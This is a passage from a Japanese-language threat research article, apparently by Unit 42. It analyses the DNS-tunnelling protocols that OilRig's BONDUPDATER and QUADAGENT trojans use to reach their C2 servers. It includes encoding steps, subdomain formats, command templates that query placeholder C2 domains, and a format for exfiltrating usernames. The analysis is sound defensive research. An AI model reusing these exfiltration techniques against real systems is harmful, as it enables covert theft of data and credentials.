\"2\"&gt;&lt;sequence number&gt;&lt;between 1 and 7 random characters&gt;C&lt;index of part number&gt;&lt;index of action&gt;T.&lt;data chunk&gt;.&lt;filename&gt;.&lt;c2 domain&gt;<\/span><\/p>\n<p>\u30c7\u30fc\u30bf\u3092C2\u306b\u9001\u4fe1\u3059\u308b\u3068\u304d\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001C2\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308b\u305f\u3081\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u306b\u6587\u5b57\"2\"\u3092\u542b\u3081\u307e\u3059\u3002\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30c7\u30fc\u30bf\u3068\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u4e21\u65b9\u306e\u30bb\u30b0\u30e1\u30f3\u30c8\u306f\u3001\u6b21\u306e\u30b9\u30c6\u30c3\u30d7\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u307e\u3059\u3002<\/p>\n<ol>\n<li>2\u3064\u306e\u7570\u306a\u308b\u7a7a\u6587\u5b57\u5217\u3092\u4f5c\u6210<\/li>\n<li>\u305d\u308c\u305e\u308c\u306e\u30c7\u30fc\u30bf\u30d0\u30a4\u30c8\u309216\u9032\u5f62\u5f0f\u306b\u5909\u63db<\/li>\n<li>\u540416\u9032\u30d0\u30a4\u30c8\u30922\u3064\u306e\u30cb\u30d6\u30eb\u306b\u5206\u5272<\/li>\n<li>\u6700\u521d\u306e\u30cb\u30d6\u30eb\u3092\u6700\u521d\u306e\u6587\u5b57\u5217\u306b\u8ffd\u52a0<\/li>\n<li>2\u756a\u76ee\u306e\u30cb\u30d6\u30eb\u30922\u756a\u76ee\u306e\u6587\u5b57\u5217\u306b\u8ffd\u52a0<\/li>\n<li>2\u3064\u306e\u6587\u5b57\u5217\u3092\u9023\u7d50<\/li>\n<\/ol>\n<p>\u3053\u306e\u30d7\u30ed\u30bb\u30b9\u306f\u3001\u540416\u9032\u30d0\u30a4\u30c8\u306e2\u6587\u5b57\u3092\u52b9\u679c\u7684\u306b\u5206\u96e2\u3057\u3001\u305d\u308c\u3089\u3092\u6587\u5b57\u5217\u5168\u4f53\u306b\u62e1\u6563\u3057\u307e\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30bb\u30b0\u30e1\u30f3\u30c8\u306b\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u305f\u6587\u5b57\u5217\u306e\u5f8c\u308d\u306b\u30a2\u30b9\u30bf\u30ea\u30b9\u30af(\"*\")\u304c\u8ffd\u52a0\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u4e0a\u306e\u56f327\u3067\u898b\u305f\"10100\"\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u30a2\u30b9\u30bf\u30ea\u30b9\u30af\u304c\u8ffd\u52a0\u3055\u308c\u3066\"10100*\"\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u540d\u306b\u306a\u308a\u307e\u3059\u3002\u4e0a\u8a18\u306e\u30b9\u30c6\u30c3\u30d7\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u305f\u5834\u5408\u3001\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f\"33333210100A\"\u3068\u3044\u3046\u6587\u5b57\u5217\u306b\u306a\u308a\u307e\u3059\u3002\u6b21\u306e\u30b3\u30fc\u30c9\u30d6\u30ed\u30c3\u30af\u306f\u3001\u3053\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u65b9\u6cd5\u304c\u3069\u306e\u3088\u3046\u306b\u6a5f\u80fd\u3059\u308b\u304b\u3092\u8996\u899a\u5316\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">String to encode: 10100*\r\n\r\nChar '1' is 31 in hex.\r\n\r\n\u00a0- Put '3' in string 1\r\n\r\n\u00a0- Put '1' in string 2\r\n\r\nChar '0' is 30 in hex.\r\n\r\n\u00a0- Put '3' in string 1\r\n\r\n\u00a0- Put '0' in string 2\r\n\r\nChar '1' is 31 in hex.\r\n\r\n\u00a0- Put '3' in string 1\r\n\r\n\u00a0- Put '1' in string 2\r\n\r\nChar '0' is 30 in hex.\r\n\r\n\u00a0- Put '3' in string 1\r\n\r\n\u00a0- Put '0' in string 2\r\n\r\nChar '0' is 30 in hex.\r\n\r\n\u00a0- Put '3' in string 1\r\n\r\n\u00a0- Put '0' in string 2\r\n\r\nChar '*' is 2A in hex.\r\n\r\n\u00a0- Put '2' in string 1\r\n\r\n\u00a0- Put 'A' in string 2\r\n\r\nConcat string 1 \u201c333332\u201d and string 2 \u201c10100A\u201d\r\n\r\nEncoded string: 33333210100A<\/pre>\n<p>\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30c7\u30fc\u30bf\u30bb\u30b0\u30e1\u30f3\u30c8\u306f\u6700\u592760\u6587\u5b57\u306e\u9577\u3055\u306b\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u306e\u3067\u3001BONDUPDATER\u306f\u6f0f\u51fa\u3055\u305b\u305f\u3044\u30c7\u30fc\u30bf\u309230\u30d0\u30a4\u30c8\u306e\u30c1\u30e3\u30f3\u30af\u306b\u5206\u5272\u3057\u3066\u540c\u3058\u30a8\u30f3\u30b3\u30fc\u30c9\u65b9\u6cd5\u3092\u4f7f\u7528\u3057\u3066\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u307e\u3059\u3002C2\u306b\u5bfe\u3057\u3066\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u6f0f\u51fa\u3092\u958b\u59cb\u3059\u308b\u305f\u3081\u3001BONDUPDATER\u306f\u3001\u6700\u521d\u306eDNS A \u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u306eDNS A \u30af\u30a8\u30ea\u306f\u3001\u30c7\u30fc\u30bf\u30c1\u30e3\u30f3\u30af\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u304c\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u305f\"COCTab\"\u3068\u3044\u3046\u6587\u5b57\u5217\u3067\u59cb\u307e\u308a\u3001\u305d\u306e\u5f8c\u308d\u306b\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u304c\u7d9a\u304f\u30c9\u30e1\u30a4\u30f3\u306b\u5bfe\u3059\u308b\u3082\u306e\u3067\u3059\u3002\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u306b\u306f\u3001\u9001\u4fe1\u3055\u308c\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u306e\u9577\u3055\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\"10100\"\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u767a\u884c\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u304b\u3089\u306e2795\u30d0\u30a4\u30c8\u5206\u306e\u51fa\u529b\u7d50\u679c\u3092\u683c\u7d0d\u3057\u3066\u3044\u305f\u305f\u3081\u3001\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u7d50\u679c5590\u30d0\u30a4\u30c8\u306b\u306a\u3063\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30c7\u30fc\u30bf\u30b5\u30a4\u30ba\u3092\u30a2\u30b9\u30bf\u30ea\u30b9\u30af\u3067\u5206\u5272\u3057\u3001\u30d1\u30c7\u30a3\u30f3\u30b0\u3068\u3057\u3066\u30a2\u30b9\u30bf\u30ea\u30b9\u30af\u3092\u4f7f\u7528\u3057\u3066\"10100*5590*****************\"\u306e27\u6587\u5b57\u306e\u6587\u5b57\u5217\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u3053\u306e\u7d50\u679c\u3001\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u6587\u5b57\u5217\u306f\"33333233332222222222222222210100A5590AAAAAAAAAAAAAAAA\"\u306b\u306a\u308a\u307e\u3059\u3002BONDUPDATER\u306f\u3001\u3053\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u6587\u5b57\u5217\u3092\"COCTab\"\u306e\u5f8c\u308d\u306b\u8ffd\u52a0\u3057\u305f\u3082\u306e\u3092\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30c7\u30fc\u30bf\u30bb\u30b0\u30e1\u30f3\u30c8\u3068\u3057\u3066\u4f7f\u7528\u3057\u3001C2\u306b\u300c\u4f55\u56deDNS A\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u884c\u3057\u3066\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u304b\u300d\u3092\u901a\u77e5\u3057\u307e\u3059\u3002\u56f328\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u30bb\u30b0\u30e1\u30f3\u30c8\u306b\"33333210100A\"\u3068\u3044\u3046\u6587\u5b57\u5217\u3092\u542b\u307f\u3001\"COCTab\"\u306e\u5f8c\u306b\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30c7\u30fc\u30bf\u9577\u306e\u6587\u5b57\u5217\u3092\u542b\u3081\u305f\u30c7\u30fc\u30bf\u30bb\u30b0\u30e1\u30f3\u30c8\u3092\u542b\u3080\u6700\u521d\u306e\u901a\u77e5\u30af\u30a8\u30ea\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101509\" aria-describedby=\"caption-attachment-101509\" style=\"width: 947px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101509 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-235.png\" alt=\"\u56f328 \u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308bBONDUPDATER\u30af\u30a8\u30ea\" width=\"947\" height=\"79\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-235.png 947w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-235-300x25.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-235-768x64.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-235-900x75.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-235-370x31.png 370w\" sizes=\"(max-width: 947px) 100vw, 947px\" \/><figcaption id=\"caption-attachment-101509\" class=\"wp-caption-text\">\u56f328 \u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308bBONDUPDATER\u30af\u30a8\u30ea<\/figcaption><\/figure>\n<p>C2\u30b5\u30fc\u30d0\u30fc\u306f\u3001\u3053\u306eDNS A\u30ea\u30af\u30a8\u30b9\u30c8\u306bIPv4\u30a2\u30c9\u30ec\u30b9\u3067\u5fdc\u7b54\u3057\u307e\u3059\u304c\u3001\u3053\u306eIPv4\u30a2\u30c9\u30ec\u30b9\u306e\u6700\u521d\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u306f\u30b7\u30b9\u30c6\u30e0ID\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u3066\u3044\u308bGUID\u306e\u6700\u521d\u306e2\u6587\u5b57\u3092\u30012\u756a\u76ee\u30683\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u306b\u306f\"2\"\u3068\"3\"\u3092\u30014\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u3068\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u304c\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u9001\u4fe1\u3055\u305b\u305f\u3044\u30c7\u30fc\u30bf\u30c1\u30e3\u30f3\u30af\u306b\u5bfe\u5fdc\u3059\u308b\u30b7\u30fc\u30b1\u30f3\u30b9\u756a\u53f7\u3092\u542b\u3081\u307e\u3059\u3002BONDUPDATER\u306f\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u7d42\u308f\u308b\u307e\u3067\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30c7\u30fc\u30bf\u30bb\u30b0\u30e1\u30f3\u30c8\u306b\u30d5\u30a1\u30a4\u30eb\u304b\u3089\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u30c7\u30fc\u30bf\u306e\u30c1\u30e3\u30f3\u30af\u3092\u542b\u3081\u305fDNS A\u30af\u30a8\u30ea\u3092\u9001\u4fe1\u3057\u7d9a\u3051\u307e\u3059\u3002\u56f329\u306f\u3001\u6b21\u306e\u30c7\u30fc\u30bf\u30c1\u30e3\u30f3\u30af\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306b4\u756a\u76ee\u306e\u30aa\u30af\u30c6\u30c3\u30c8\u30923\u305a\u3064\u5897\u52a0\u3055\u305b\u305fIPv4\u30a2\u30c9\u30ec\u30b9\u3092\u4f7f\u7528\u3057\u3001\u901a\u77e5\u30af\u30a8\u30ea\u3068\u305d\u308c\u306b\u7d9a\u304f\u30c7\u30fc\u30bf\u8ee2\u9001\u30af\u30a8\u30ea\u306b\u5fdc\u7b54\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101511\" aria-describedby=\"caption-attachment-101511\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101511 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-236.png\" alt=\"\u56f329 \u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067C2\u3078\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3066\u3044\u308bBONDUPDATER\" width=\"974\" height=\"152\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-236.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-236-300x47.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-236-768x120.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-236-900x140.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-236-370x58.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101511\" class=\"wp-caption-text\">\u56f329 \u30af\u30a8\u30ea\u5bfe\u8c61\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u3067C2\u3078\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3066\u3044\u308bBONDUPDATER<\/figcaption><\/figure>\n<p>\u3059\u3079\u3066\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u305f\u5f8c\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u30c7\u30fc\u30bf\u30bb\u30b0\u30e1\u30f3\u30c8\u306b\"COCTabCOCT\"\u3068\u5165\u529b\u3057\u305f\u6700\u5f8c\u306eDNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u306e\u30af\u30a8\u30ea\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u9001\u4fe1\u3092\u7d42\u4e86\u3057\u305f\u3053\u3068\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u901a\u77e5\u3059\u308b\u3082\u306e\u3067\u3059\u3002\u56f330\u306f\u3001DNS\u30af\u30a8\u30ea\u306b\u3088\u308b\u7d99\u7d9a\u7684\u306a\u30c7\u30fc\u30bf\u8ee2\u9001\u3068\u3001\u305d\u306e\u5f8c\u306b\u7d9a\u304f\u30c7\u30fc\u30bf\u30bb\u30b0\u30e1\u30f3\u30c8\u5185\u306b\"COCTabCOCT\"\u3092\u542b\u3081\u305f\u6700\u5f8c\u306eDNS\u30af\u30a8\u30ea\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101513\" aria-describedby=\"caption-attachment-101513\" style=\"width: 979px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101513 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-237.png\" alt=\"\u56f330 BONDUPDATER\u304c\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u5f8cC2\u306b&quot;COCTabCOCT&quot;\u3068\u3044\u3046\u6587\u5b57\u5217\u306b\u3088\u3063\u3066\u901a\u4fe1\u7d42\u4e86\u3092\u4f1d\u3048\u308b\u69d8\u5b50\" width=\"979\" height=\"156\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-237.png 979w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-237-300x48.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-237-768x122.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-237-900x143.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-237-370x59.png 370w\" sizes=\"(max-width: 979px) 100vw, 979px\" \/><figcaption id=\"caption-attachment-101513\" class=\"wp-caption-text\">\u56f330 BONDUPDATER\u304c\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u5f8cC2\u306b\"COCTabCOCT\"\u3068\u3044\u3046\u6587\u5b57\u5217\u306b\u3088\u3063\u3066\u901a\u4fe1\u7d42\u4e86\u3092\u4f1d\u3048\u308b\u69d8\u5b50<\/figcaption><\/figure>\n<h2>QUADAGENT<\/h2>\n<p>OilRig\u306f\u6a19\u7684\u578b\u653b\u6483\u306bQUADAGENT\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u3046\u3061\u306e1\u3064\u306f<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan\/\">OilRig\u3001QUADAGENT\u3092\u4f7f\u7528\u3057\u3066\u30c6\u30af\u30ce\u30ed\u30b8 \u30b5\u30fc\u30d3\u30b9 \u30d7\u30ed\u30d0\u30a4\u30c0\u3068\u653f\u5e9c\u6a5f\u95a2\u3092\u6a19\u7684\u306b<\/a>\u3068\u3057\u3066\u516c\u958b\u6e08\u307f\u3067\u3059\u3002QUADAGENT\u306f\u3001DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u3092\u4f7f\u7528\u3057\u3066C2\u30b5\u30fc\u30d0\u30fc\u3068\u901a\u4fe1\u3059\u308b\u306e\u306b\u3001DNS\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3066C2\u30c9\u30e1\u30a4\u30f3\u306e\u30ab\u30b9\u30bf\u30e0\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002DNS\u30c8\u30f3\u30cd\u30ea\u30f3\u30b0\u30d7\u30ed\u30c8\u30b3\u30eb\u306b\u306fAAAA\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3057\u3001\u611f\u67d3\u30b7\u30b9\u30c6\u30e0\u3068\u305d\u306eC2\u30b5\u30fc\u30d0\u30fc\u306e\u9593\u3067\u30c7\u30fc\u30bf\u3092\u9001\u53d7\u4fe1\u3057\u307e\u3059\u3002Windows\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u5fdc\u3058\u3066\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u30af\u30a8\u30ea\u306e\u767a\u884c\u65b9\u6cd5\u3092\u5909\u66f4\u3057\u307e\u3059\u3002\u5177\u4f53\u7684\u306b\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p><strong>Windows 8\u307e\u305f\u306f\u305d\u308c\u4ee5\u964d<\/strong><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">Resolve-DnsName -Name &lt;generated subdomain&gt;.&lt;c2 domain&gt; -Type AAAA -DnsOnly<\/span><\/p>\n<p><strong>Windows 7<\/strong><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">nslookup.exe -q=aaaa &lt;generated subdomain&gt;.&lt;c2 domain&gt;.<\/span><\/p>\n<p>\u4f5c\u6210\u8005\u306f\u3001Windows 8.1\u4ee5\u524d\u306eWindows\u30d0\u30fc\u30b8\u30e7\u30f3\u306ePowerShell\u306b\u306fResolve-DnsName\u30e1\u30bd\u30c3\u30c9\u3092\u542b\u3080DnsClient\u30e2\u30b8\u30e5\u30fc\u30eb\u304c\u306a\u3044\u3053\u3068\u3092\u77e5\u3063\u3066\u3044\u305f\u3088\u3046\u3067\u3059\u3002\u5927\u307e\u304b\u306b\u8a00\u3048\u3070\u3001QUADAGENT\u306fC2\u30b5\u30fc\u30d0\u30fc\u3068\u901a\u4fe1\u3057\u3001\u81ea\u8eab\u3092\u7f6e\u304d\u63db\u3048\u308bPowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u53d6\u5f97\u3057\u307e\u3059\u3002\u3064\u307e\u308a\u57fa\u672c\u7684\u306b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u4e8c\u6b21\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u3088\u3063\u3066\u66f4\u65b0\u3055\u308c\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u66f4\u65b0\u6a5f\u80fd\u3092\u5b9f\u73fe\u3059\u308b\u305f\u3081\u306b\u3001QUADAGENT\u306f\u4ee5\u4e0b\u306e\u4e00\u9023\u306e\u30b9\u30c6\u30c3\u30d7\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n<ol>\n<li>\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u9375\u306e\u53d6\u5f97<\/li>\n<li>\u6b63\u3057\u3044\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3092\u78ba\u8a8d<\/li>\n<li>PowerShell\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/li>\n<li>\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3068\u5b9f\u884c\u306e\u78ba\u8a8d<\/li>\n<\/ol>\n<p>QUADAGENT\u3068C2\u306e\u9593\u306e\u901a\u4fe1\u3092\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u3059\u308b\u6700\u521d\u306e\u30b9\u30c6\u30c3\u30d7\u306f\u3001\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u30ad\u30fc\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306e\u6700\u521d\u306e\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u3067\u3059\u3002\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u4e8b\u524d\u5171\u6709\u30ad\u30fc\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u306b\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u6b21\u306e\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306e\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002\u3053\u308c\u304c\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u3057\u3066\u6a5f\u80fd\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">mail.&lt;random number between 100000 and 999999&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u304c\u521d\u671f\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u306e\u4e00\u90e8\u3068\u3057\u3066\u30b7\u30b9\u30c6\u30e0\u56fa\u6709\u306e\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u3053\u3068\u3092C2\u30b5\u30fc\u30d0\u30fc\u306b\u901a\u77e5\u3059\u308b\u3082\u306e\u3067\u3059\u3002C2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u308b\u30b7\u30b9\u30c6\u30e0\u56fa\u6709\u306e\u30c7\u30fc\u30bf\u306f\u6b21\u306e\u5f62\u5f0f\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;domain&gt;\\&lt;username&gt;:pass<\/span><\/p>\n<p>\u4e0a\u8a18\u306e\u6587\u5b57\u5217\u306f\u3001\u30ab\u30b9\u30bf\u30e0base64\u30a8\u30f3\u30b3\u30fc\u30c0\u30fc\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u304b\u3089\u82f1\u6570\u5b57\u4ee5\u5916\u306e\u6587\u5b57(\"=\"\u3001\"\/\"\u3001\"+\")\u3092\u53d6\u308a\u9664\u304d\u3001\u305d\u308c\u3092\u30c9\u30e1\u30a4\u30f3\u30bb\u30fc\u30d5\u306a\u5024(\u305d\u308c\u305e\u308c\"01\"\u3001\"02\"\u3001\"03\")\u306b\u7f6e\u304d\u63db\u3048\u3066\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u307e\u3059\u3002QUADAGENT\u306f\u3001DNS\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3066\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u3053\u3068\u3067\u3001\u3053\u306e\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0\u30c7\u30fc\u30bf\u3092C2\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;encoded system data&gt;.&lt;same random number between 100000 and 999999 above&gt;.&lt;c2 name&gt;<\/span><\/p>\n<p>C2\u30b5\u30fc\u30d0\u30fc\u306f\u3001\u4fb5\u5bb3\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0\u3092\u4e00\u610f\u306b\u8b58\u5225\u3059\u308b\u30bb\u30c3\u30b7\u30e7\u30f3ID\u3068\u3001DNS\u30c8\u30f3\u30cd\u30eb\u3092\u4ecb\u3057\u3066\u9001\u4fe1\u3055\u308c\u308b\u4e8b\u524d\u5171\u6709\u30ad\u30fc\u6697\u53f7\u5316\u30c7\u30fc\u30bf\u3092\u63d0\u4f9b\u3059\u308b\u3053\u3068\u3067\u3001\u3053\u308c\u3089\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5fdc\u7b54\u3057\u307e\u3059\u3002\u3053\u306e\u30c7\u30fc\u30bf\u3092QUADAGENT\u306b\u8ee2\u9001\u3059\u308b\u305f\u3081\u3001C2\u30b5\u30fc\u30d0\u306f\u3001\u6700\u5f8c\u306eDNS\u30af\u30a8\u30ea\u306b\u5bfe\u3057\u3001C2\u30b5\u30fc\u30d0\u304b\u3089\u306e\u30c7\u30fc\u30bf\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u7528\u306b\u767a\u884c\u3059\u3079\u304dDNS\u30ea\u30af\u30a8\u30b9\u30c8\u6570\u3092\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u5224\u65ad\u3055\u305b\u308b\u305f\u3081\u306e\u756a\u53f7\u3092\u542b\u3080IPv6\u30a2\u30c9\u30ec\u30b9\u3067\u5fdc\u7b54\u3057\u307e\u3059\u3002C2\u30b5\u30fc\u30d0\u306f\u3001\u30af\u30a8\u30ea\u306b\u5bfe\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u306eIPv6\u30a